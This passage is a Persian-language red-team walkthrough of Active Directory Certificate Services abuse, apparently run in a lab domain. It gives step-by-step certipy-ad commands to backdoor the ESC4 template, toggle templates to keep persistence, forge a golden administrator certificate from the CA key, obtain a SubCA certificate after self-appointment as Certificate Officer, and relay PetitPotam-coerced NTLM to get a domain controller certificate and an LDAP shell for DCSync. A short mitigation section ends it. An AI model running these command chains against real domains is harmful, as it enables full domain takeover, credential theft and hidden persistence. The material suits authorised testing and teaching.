  • یا دسترسی کاربران سطح پایین به قالب.

نکته امنیتی:
در سوءاستفاده از سبک ESC4، بازنویسی قالب با پیکربندی پیش‌فرض به مهاجم این امکان را می‌دهد که مجدداً از همان قالب برای صدور گواهی‌های تقلبی یا جعل هویت استفاده کند.
این تکنیک همچنین در تست نفوذ و عملیات تیم قرمز برای باز کردن مسیر ورود مجدد (re-entry point) بسیار حیاتی است.

بیایید نگاهی سریع داشته باشیم به قالب‌های صادرشده توسط مرجع صدور گواهی (Certificate Authority – CA) و اینکه چگونه پیکربندی‌های نادرست—مانند موارد مشاهده‌شده در تکنیک‌های ESC1 و ESC4—می‌توانند منجر به ایجاد مسیرهای حمله و بهره‌برداری شوند.

اعمال یک قالب تغییریافته یا دارای بک‌دُر (Backdoored Template)

این دستور، قالب (template) مورد نظر را با استفاده از فایل JSON ذخیره‌شده از قبل بازنویسی می‌کند. فلگ -no-save باعث می‌شود این بازنویسی به‌صورت بی‌صدا (silent) انجام شده و نسخه فعلی قالب مجدداً پشتیبان‌گیری (backup) نشود.

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -write-configuration backup.json -no-save

توضیح فنی:
در این دستور، ابزار certipy-ad برای بازنویسی پیکربندی یک قالب Active Directory Certificate Services (AD CS) استفاده می‌شود. با استفاده از گزینه -write-configuration همراه با فایل backup.json، تنظیمات از پیش ذخیره‌شده مجدداً روی قالب مشخص‌شده با -template ESC4 اعمال می‌شود. استفاده از فلگ -no-save از ایجاد نسخه پشتیبان جدید جلوگیری می‌کند تا عملیات بدون ثبت تغییرات جدید در فایل پشتیبان انجام گیرد—این کار معمولاً در سناریوهای حمله یا پیکربندی مخفیانه انجام می‌شود.

نکته:

این عملیات، تنظیمات آسیب‌پذیر شناخته‌شده را مجدداً روی یک قالب (template) اعمال می‌کند. این کار امکان بهره‌برداری‌های آتی مبتنی بر گواهی دیجیتال (certificate-based exploits) مانند آسیب‌پذیری‌های ESC1 یا ESC4 را بدون نیاز به دسترسی ادمین CA (Certificate Authority) فراهم می‌سازد.

شمارش (Enumeration) قالب‌های موجود در CA

این دستور، تمام قالب‌هایی را که در حال حاضر توسط CA (Certificate Authority) منتشر شده‌اند، فهرست می‌کند:

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -list-template -ca ignite-DC01-CA

توضیح فنی:
اجرای این دستور به ما اجازه می‌دهد بررسی کنیم که آیا قالب‌های هدف مانند ESC1 یا ESC4 در حال حاضر فعال هستند یا خیر. همچنین می‌توان با این روش قالب‌های دیگری را شناسایی کرد که ممکن است قابلیت بهره‌برداری (exploitable) داشته باشند و برای سوءاستفاده (abuse) در حملات آینده مناسب باشند.

غیرفعال‌سازی یک قالب (Template)

این دستور به ما امکان می‌دهد قالب ESC1 را از فهرست قالب‌های منتشرشده توسط CA (Certificate Authority) غیرفعال کنیم:

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -disable ESC1 -ca ignite-DC01-CA

توضیح فنی:
در این سناریو، ابزار certipy-ad برای برقراری ارتباط با CA و اجرای عملیات غیرفعال‌سازی قالب استفاده می‌شود. استفاده از گزینه -disable ESC1 باعث می‌شود قالب آسیب‌پذیر ESC1 از فهرست قالب‌های فعال و قابل درخواست حذف شود. این اقدام معمولاً برای کاهش سطح حمله (attack surface) در محیط‌های آسیب‌پذیر یا پس از شناسایی یک بهره‌برداری موفق از قالب انجام می‌گیرد.

نکته:

تیم‌های آبی (Blue Teams) می‌توانند از این روش به‌عنوان بخشی از فرآیند اصلاح آسیب‌پذیری (remediation) استفاده کنند. در مقابل، تیم‌های قرمز (Red Teams) ممکن است از آن برای مختل‌کردن فرآیند شناسایی (detection disruption) بهره ببرند. این کار با هدف قطع زنجیره بهره‌برداری (exploit chain) به‌صورت موقت انجام می‌گیرد تا در زمان مناسب مجدداً از آن استفاده شود (همان‌طور که در سناریوی ما اتفاق افتاده است).

بررسی وضعیت غیرفعال‌سازی قالب

برای بررسی اینکه آیا قالب ESC1 به‌درستی غیرفعال شده است یا خیر، می‌توانیم دستور زیر را اجرا کنیم:

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -list-templates -ca ignite-DC01-CA

نتیجه:
در خروجی این دستور مشاهده می‌شود که قالب ESC1 دیگر در میان قالب‌های فعال (enabled templates) موجود در CA لیست نشده است، که تأیید می‌کند فرآیند غیرفعال‌سازی موفق بوده است.

فعال‌سازی مجدد یک قالب (Re-Enable a Template)

این دستور، قالب ESC1 که قبلاً غیرفعال شده بود را دوباره فعال می‌کند:

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -enable ESC1 -ca ignite-DC01-CA

 

توضیح فنی:
اجرای این دستور به ما اجازه می‌دهد قالب آسیب‌پذیر ESC1 را مجدداً در لیست قالب‌های فعال CA قرار دهیم.

همان‌طور که پیش‌تر اشاره شد، این اقدام به ما اجازه می‌دهد زنجیره حمله مبتنی بر گواهی دیجیتال (certificate attack chain) را مجدداً راه‌اندازی کنیم.

این روش به‌ویژه در شرایطی کاربرد دارد که مدافعان (defenders) زنجیره حمله را قطع کرده‌اند. در چنین شرایطی، فعال‌سازی مجدد قالب می‌تواند در حملات تکراری Red Team یا ایجاد پایداری بلندمدت (long-term persistence) در محیط هدف مورد استفاده قرار گیرد.

پشتیبان‌گیری کامل از CA (Full CA Backup)

این دستور، از کل پیکربندی CA (Certificate Authority) شامل قالب‌ها (templates)، مجوزها (permissions) و تنظیمات (settings) نسخه پشتیبان تهیه می‌کند:

certipy-ad ca -backup -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -ca ignite-DC01-CA

 

توضیح فنی:
اجرای این دستور دید کامل (full visibility) نسبت به وضعیت فعلی عملکرد CA فراهم می‌کند. این اطلاعات به ما امکان می‌دهد تا تصمیم بگیریم که آیا می‌خواهیم وضعیت CA را:

• تغییر (modify) دهیم
• استخراج (exfiltrate) کنیم
• یا با یک نسخه جعلی جایگزین (replace) نماییم

این عملیات می‌تواند در سناریوهایی مانند جعل قالب‌ها (template forgery)، صدور گواهی طلایی (Golden Certificate)، یا بازگرداندن وضعیت قبلی جهت بهره‌برداری (rollback exploits) به‌کار رود.

نقطه اوج حمله: تسلط بر زیرساخت

در این مرحله از حمله، دیگر صرفاً به بهره‌برداری از آسیب‌پذیری‌ها متکی نیستیم. بلکه کنترل مستقیم بر نحوه توزیع اعتماد دیجیتال (digital trust) در سطح دامنه (domain) به‌دست آمده است. این موضوع نشان‌دهنده نفوذ عمیق به زیرساخت امنیتی سازمان و تسلط بر یکی از حیاتی‌ترین مؤلفه‌های آن یعنی سرویس صدور گواهی است.

نکته:

در این مرحله، سوءاستفاده از AD CS از یک بهره‌برداری لحظه‌ای (one-time exploit) به یک استراتژی ماندگاری مخفیانه و بلندمدت در دامنه (long-term, stealthy domain persistence) تبدیل می‌شود.

جعل و رله کردن گواهی‌ها (Forging & Relaying Certificates)

با در اختیار داشتن کلید خصوصی CA، ما می‌توانیم یک گواهی دیجیتال جعل کنیم که هویت Domain Administrator را شبیه‌سازی (impersonate) می‌کند. همچنین می‌توانیم از طریق قالب‌های آسیب‌پذیر، اقدام به درخواست گواهی SubCA کرده و آن را به‌صورت دستی تأیید (approve) کنیم.

در ادامه، با افزودن خودمان به‌عنوان Certificate Officer، سطح دسترسی خود را ارتقاء می‌دهیم. این جایگاه به ما امکان می‌دهد:

• صدور (issue)
• تأیید (approve)
• و احراز هویت (authenticate)

را برای هر هویتی در دامنه انجام دهیم. در این حالت، زنجیره اعتماد دامنه (domain trust chain) عملاً به زمین بازی ما تبدیل می‌شود.

جعل گواهی ادمین طلایی (Forge a Golden Admin Certificate)

دستور زیر، با استفاده از کلید خصوصی CA، گواهی‌ای جعل می‌کند که به ما امکان می‌دهد به‌صورت مستقیم به‌عنوان Administrator احراز هویت کنیم — بدون محدودیت‌های مربوط به قالب‌ها (templates) یا کنترل‌های سیاستی (policy controls):

certipy-ad forge -ca-pfx ignite-DC01-CA.pfx -upn administrator@ignite.local

 

توضیح فنی:
اجرای این دستور، یک گواهی معتبر با UPN ادمین دامنه ایجاد می‌کند که در تمام سناریوهای Kerberos و TLS قابل استفاده است. این نوع گواهی:

• محدودیت‌های قالب را دور می‌زند
• به هیچ مجوز جدیدی در دامنه نیاز ندارد
• و امکان احراز هویت به‌عنوان Administrator را به‌صورت دائم و پنهان فراهم می‌کند—even اگر تمام روش‌های دیگر ماندگاری (persistence) حذف شوند.

صدور گواهی Subordinate CA از طریق قالب آسیب‌پذیر

این دستور از یک قالب آسیب‌پذیر (vulnerable template) استفاده می‌کند که اجازه صدور گواهی Subordinate CA (SubCA) را می‌دهد. این کار باعث می‌شود ما بیش از پیش در زنجیره اعتماد PKI دامنه نفوذ کنیم و به بخشی از زیرساخت صدور گواهی آن تبدیل شویم:

certipy-ad req -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -template SubCA -upn administrator@ignite.local -dc-ip 192.168.1.20

 

توضیح فنی:
با اجرای این دستور، ما با استفاده از قالب آسیب‌پذیر SubCA، گواهی‌ای دریافت می‌کنیم که ما را به‌عنوان یک CA فرعی (Subordinate CA) در زنجیره اعتماد معرفی می‌کند.

این موقعیت به ما اجازه می‌دهد تا در مراحل بعدی:

• به‌صورت مستقل گواهی‌های معتبر صادر کنیم
• برای هر هویتی در دامنه گواهی صادر کنیم (اعم از کاربران عادی یا مدیران)
• زنجیره اعتماد دامنه را دست‌کاری یا گسترش دهیم بدون نیاز به مداخله مجدد در CA اصلی

نکته امنیتی:
با به‌دست آوردن قابلیت عملکرد به‌عنوان SubCA، مهاجم به نوعی “CA در سایه” تبدیل می‌شود که توانایی جعل و صدور گواهی معتبر برای هر سرویس، کاربر یا سرور را دارد—همچنین می‌تواند ماندگاری (persistence) بسیار مخفیانه و سطح بالایی ایجاد کند.

تأیید درخواست SubCA (Approve the SubCA Request)

این دستور تلاش می‌کند درخواست گواهی با شناسه ۲۶ را برای صدور SubCA تأیید کند:

certipy-ad ca -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -issue-request 26 -dc-ip 192.168.1.20

 

توضیح فنی:
اگر کاربر مورد نظر دسترسی لازم به‌عنوان Certificate Officer نداشته باشد، CA این عملیات را با پیام خطای “Access Denied” رد خواهد کرد.

این مرحله یکی از موانع رایج در فرآیند ارتقاء به Subordinate CA را نشان می‌دهد:
کاربران ممکن است بتوانند درخواست صدور گواهی را با موفقیت ارسال کنند، اما سیستم صدور گواهی (CA) مجوز تأیید (approval) آن را فقط به دارندگان نقش‌های خاص مانند Certificate Officer محدود می‌کند.

در نتیجه، بدون دسترسی مناسب، امکان صدور نهایی گواهی SubCA وجود ندارد، حتی اگر مراحل قبل به‌درستی انجام شده باشد.

نکته امنیتی:
این سازوکار یکی از معدود کنترل‌های حیاتی در برابر سوءاستفاده از قالب‌های SubCA آسیب‌پذیر محسوب می‌شود. Red Teamها ممکن است تلاش کنند با ارتقاء سطح دسترسی یا تزریق خود به گروه‌های مدیریتی مرتبط، این محدودیت را دور بزنند.

افزودن کاربر به Certificate Officers (Add User as a Certificate Officer)

این دستور کاربر raj را به گروه Certificate Officers اضافه می‌کند، که به او اختیارات مدیریتی در CA شامل تأیید درخواست‌ها، تغییر قالب‌ها و صدور گواهی می‌دهد:

certipy-ad ca -ca ignite-DC01-CA -u raj -p Password@1 -dc-ip 192.168.1.20 -add-officer raj

 

توضیح فنی:
با اجرای این دستور، کاربر به یکی از نقش‌های سطح بالای مدیریتی در زیرساخت صدور گواهی تبدیل می‌شود. این نقش به او اجازه می‌دهد تا:

• گواهی‌های SubCA را تأیید کند
• درخواست‌های گواهی را بررسی و تصویب نماید
• قالب‌های گواهی را تنظیم یا جایگزین کند
• بدون نیاز به دخالت مستقیم ادمین‌ها، زنجیره اعتماد دامنه را کنترل کند

نکته امنیتی:
این مرحله از حمله بسیار حیاتی و پرمخاطره است، چراکه دسترسی مدیریتی دائمی و مخفیانه به CA را فراهم می‌کند. پس از این، مهاجم قادر خواهد بود گواهی‌های جعلی ولی کاملاً معتبر برای هر هویتی در دامنه صادر کند — بدون اینکه این فعالیت‌ها توسط سامانه‌های امنیتی به‌راحتی شناسایی شود.

در ادامه، تلاش می‌کنیم درخواست معلق صدور گواهی SubCA را با استفاده از قابلیت‌های تأیید (Approval Capabilities) یک CA Officer یا Template Controller که به‌خطر افتاده (Compromised) است، تأیید کنیم.

certipy-ad ca -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -issue-request 26 -dc-ip 192.168.1.20

 

این دستور تأیید می‌کند که گواهی SubCA صادر شده معتبر است، که این موضوع امکان ایجاد Backdoorهای ماندگار (Persistent) در سطح Certification Authority (CA) را فراهم می‌سازد.

بازیابی گواهی SubCA

این دستور، گواهی مربوط به Request ID 26 را که پیش‌تر توسط Certification Authority (CA) و تحت قالب SubCA Template صادر شده، بازیابی می‌کند. پس از دریافت، این گواهی در نقش یک Subordinate Certification Authority (SubCA) عمل می‌کند و به دارنده آن اجازه می‌دهد تا به‌طور مستقل گواهی‌های دیجیتال صادر و امضا کند.

certipy-ad req -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -template SubCA -retrieve 26 -dc-ip 192.168.1.20

 

این مرحله، مسیر Privilege Escalation از طریق SubCA را نهایی می‌کند. با در اختیار داشتن این گواهی، مهاجم می‌تواند برای هر هویتی—مانند Administrator یا Domain Controller—گواهی معتبر تولید کند و عملاً نقش یک CA تحت کنترل مهاجم (Attacker-Controlled Certification Authority) را در محیط ایفا نماید.

نکته:

این توالی نشان می‌دهد که چگونه مهاجمان با به‌دست آوردن سطوح دسترسی CA، از شکست اولیه در مجوزها عبور کرده و به‌صورت موفقیت‌آمیز مسیر حمله‌ی Post-Exploitation را دنبال می‌کنند.

احراز هویت با استفاده از گواهی Administrator

در این مرحله، با استفاده از فایل گواهی .pfx، احراز هویت به Active Directory از طریق Kerberos یا Schannel انجام می‌شود. این روش، نیازی به وارد کردن گذرواژه ندارد و به‌عنوان یک مکانیزم احراز هویت مورد اعتماد در سیستم پذیرفته می‌شود.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.20

 

این دستور امکان ورود به سیستم با دسترسی Domain Administrator را فراهم می‌سازد؛ چه از طریق یک گواهی جعلی ایجادشده با کلید خصوصی CA، یا از طریق گواهی صادرشده توسط SubCA تحت کنترل مهاجم. در نتیجه، مهاجم بدون نیاز به سرقت یا کرک کردن رمزعبور، به کنترل کامل دامنه دست می‌یابد.

زمانی که کلیدهای CA در دسترس نیستند

در شرایطی که کلید خصوصی CA در اختیار مهاجم نیست، می‌توان با استفاده از تکنیک‌های Network Coercion و Relay Attacks به نتایجی مشابه دست یافت—یعنی احراز هویت به‌عنوان Domain Controller—بدون نیاز به دسترسی مستقیم به رمز عبور یا دیگر اطلاعات کاربری.

رله کردن احراز هویت به سمت CA

در این مرحله، مهاجم یک Relay Server راه‌اندازی می‌کند که به Web Enrollment Endpoint متعلق به Certification Authority متصل می‌شود. در این حمله از قالبی (Template) استفاده می‌شود که به‌صورت خودکار گواهی‌های ماشین را صادر می‌کند، مانند قالب DomainController.

certipy-ad relay -target 192.168.1.17 -template DomainController

 

این دستور، سیستم را آماده می‌سازد تا یک ارتباط NTLM coerced (تحمیلی) را از یک Domain Controller دریافت کرده و از آن برای ارسال درخواست صدور گواهی استفاده کند.

وادار کردن Domain Controller به احراز هویت با استفاده از PetitPotam

در این مرحله، از ابزار PetitPotam برای اجرای یک حمله Coercion استفاده می‌شود. این حمله باعث می‌شود یک Domain Controller به‌صورت ناخواسته به Relay Server تحت کنترل مهاجم احراز هویت کند. این عمل از طریق پروتکل‌هایی مانند MS-EFSRPC انجام می‌گیرد.

python PetitPotam.py -u raj -p Password@1 192.168.1.12 192.168.1.14

 

در این دستور:

• ۱۹۲٫۱۶۸٫۱٫۱۲ آدرس IP مربوط به Domain Controller هدف است.
• ۱۹۲٫۱۶۸٫۱٫۱۴ آدرس IP مربوط به Relay Server تحت کنترل مهاجم است.

اجرای این حمله، باعث ارسال یک درخواست احراز هویت NTLM از سوی Domain Controller به مهاجم می‌شود. این ارتباط NTLM می‌تواند توسط مهاجم Capture شده و به Certification Authority (CA) رله (Relay) شود تا از آن برای صدور گواهی جعلی و بهره‌برداری از زیرساخت PKI استفاده گردد.

جایگزین: اجرای مجدد حمله Relay با استفاده از Certipy

در صورتی که اتصال ناپایدار باشد یا تلاش اولیه برای Coercion موفقیت‌آمیز نبوده باشد، می‌توان مجدداً دستور Relay را اجرا کرد تا سرور رله فعال باقی بماند و فرآیند درخواست گواهی به‌درستی تکمیل شود.

certipy-ad relay -target 192.168.1.17 -template DomainController

 

این دستور:

• سرور رله را مجدداً راه‌اندازی می‌کند یا در وضعیت آماده‌باش نگه می‌دارد.
• به قالب DomainController متصل می‌شود که به‌صورت خودکار گواهی ماشین صادر می‌کند.

این روش در محیط‌هایی با اتصال ناپایدار شبکه یا مواردی که تلاش ابتدایی برای وادارسازی Domain Controller به احراز هویت (NTLM Coercion) با شکست مواجه شده، بسیار مفید است.

احراز هویت به‌عنوان Domain Controller

در این مرحله، مهاجم با استفاده از گواهی صادرشده برای Domain Controller، فرآیند احراز هویت را از طریق PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) انجام می‌دهد و یک نشست LDAP را به‌عنوان Domain Controller آغاز می‌کند.

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.14 -ldap-shell

 

این دستور:

• از فایل .pfx مربوط به گواهی Domain Controller استفاده می‌کند.
• احراز هویت را بدون نیاز به رمز عبور، به‌صورت کامل انجام می‌دهد.
• یک LDAP Shell معتبر با سطح دسترسی Domain Controller برقرار می‌کند.

با این دسترسی، مهاجم می‌تواند از قابلیت DCSync استفاده کند که امکان استخراج هش‌های رمز عبور کاربران Active Directory — شامل حساب‌های سطح بالا مانند Enterprise Admins — را فراهم می‌سازد. این دسترسی معادل کنترل کامل بر دامنه است.

اقدامات مقابله‌ای (Mitigation)

برای جلوگیری از سوءاستفاده از زیرساخت Active Directory Certificate Services (AD CS) و حملات مبتنی بر گواهی، اقدامات زیر توصیه می‌شود:

سخت‌سازی و ممیزی قالب‌های گواهی (Certificate Templates):
بررسی دقیق و محدود کردن قالب‌های گواهی (مانند SubCA یا DomainController) که امکان صدور خودکار گواهی‌ها را دارند. از صدور گواهی‌های با امتیاز بالا بدون تأیید چندمرحله‌ای خودداری شود.

کنترل مجوزهای نوشتن در AD (از جمله “Enroll”):
بررسی و محدودسازی Write Permissions در اشیاء حساس Active Directory شامل:

• مجوز Enroll برای صدور گواهی
• ایجاد حساب‌های کاربری
• تنظیمات مرتبط با Shadow Credentials

ممیزی کامل صدور گواهی و تغییرات در سطح CA:
فعال‌سازی و پایش رخدادهای امنیتی زیر در لاگ‌های ویندوز:

• Event ID 4886 – گواهی صادر شده
• Event ID 4887 – تغییر در CA یا تنظیمات مرتبط

غیرفعال‌سازی Web Enrollment و NTLM (در صورت امکان):
در صورتی که استفاده از Web Enrollment (CEP/CES) ضروری نیست، آن را غیرفعال کنید. همچنین استفاده از NTLM Authentication را محدود یا به‌طور کامل حذف نمایید و به Kerberos with PKINIT تکیه کنید.